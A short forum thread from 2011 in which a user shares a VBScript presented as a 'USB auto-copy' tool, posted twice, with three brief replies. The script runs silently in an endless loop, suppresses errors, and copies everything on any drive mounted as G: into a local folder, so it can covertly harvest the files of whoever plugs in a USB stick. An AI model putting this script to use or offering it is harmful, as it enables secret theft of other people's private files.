24,854
社区成员
发帖
与我相关
我的任务
分享一个不错的USB自动拷贝软件，拿出来晒晒
找了一个不错的USB自动拷贝软件，不错，拿出来晒晒：
set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
on error resume next
do
wscript.sleep 1000
if fso.driveexists("G:\") then
fso.copyfile "G:\*","F:\vb\"
fso.copyfolder "G:\*","F:\vb\"
wscript.sleep 20000
end if
loop
set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
on error resume next
do
wscript.sleep 1000
if fso.driveexists("G:\") then
fso.copyfile "G:\*","F:\vb\"
fso.copyfolder "G:\*","F:\vb\"
wscript.sleep 20000
end if
loop
...全文
请发表友善的回复…
发表回复
hongwenjun 2011-03-30
- 打赏
- 举报
怎么是 VB的呀
delphiwcdj 2011-03-29
- 打赏
- 举报
学习下
codecola 2011-03-29
- 打赏
- 举报
神马东西？
